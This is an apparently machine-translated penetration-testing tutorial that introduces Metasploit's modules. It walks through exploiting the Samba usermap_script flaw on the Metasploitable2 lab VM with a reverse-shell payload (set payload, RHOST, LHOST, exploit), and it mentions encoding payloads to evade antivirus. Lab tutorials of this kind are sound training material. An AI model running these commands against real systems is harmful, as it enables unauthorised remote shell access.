---

Preface

metasploit It's an open source tool , Designed to facilitate penetrant testing , from Ruby Modular framework written in programming language , It has good expansibility , Easy for penetration testers to develop

One 、Metasploit Module composition of

1. Auxliaries（ Auxiliary modules ）
2. Exploit（ Exploit module ）
3. Payload（ Attack load module ）
4. Post（ Later infiltration modules ）
5. Encoders（ Coding tool module ）

Two 、 Attack steps

1. Scanning target and system
2. Select and configure a exploit module
3. Select and configure an attack payload module
4. Choose a coding technique , Used to bypass antivirus software
5. Penetration attack

3、 ... and 、 Exploit

Target preparation

Metasploitable2 It is a specially made tool mainly used for testing and demonstrating common vulnerability attacks ubuntu operating system
The installation address is as follows ：

https://information.rapid7.com/download-metasploitable-2017.html

The account and password are msfadmin Sign in

Use process

kali In the open msf

msfconsole

Scan the target version

nmap -sV ip（ there ip It's from the target ip）

Through the collection of relevant information about the target, and then exploit and payload Make a selection

Select the vulnerability module

It's found here that samba3.x service
adopt search samba Command query samba Exploit vulnerabilities and select appropriate exploit modules

This is sorted according to the difficulty of vulnerability utilization
Here the exploit/multi/samba/usermap_script Exploit module

use exploit/multi/samba/usermap_script
show payload（ View available attack payload modules ）
show options（ You can view the module utilization conditions ）

Marked here yes Is the parameter that must be defined

Configure vulnerability module

Set the selected attack load module

set payload cmd/unix/reverse( Note that the selected module should correspond to the operating system of the target. Here is Linux)

Set up the target IP

set RHOST 192.168.x.xxx

Set the exploit port number

set RPORT 445

Set the host to launch the attack IP

set LHOST 192.168.x.xxx

The attack

Attack after setting parameters

exploit/run

There will be a... Between the attacker and the target shell Connect , You can execute any command through the command
Then input hostname/uname -a/ifconfig… Command to query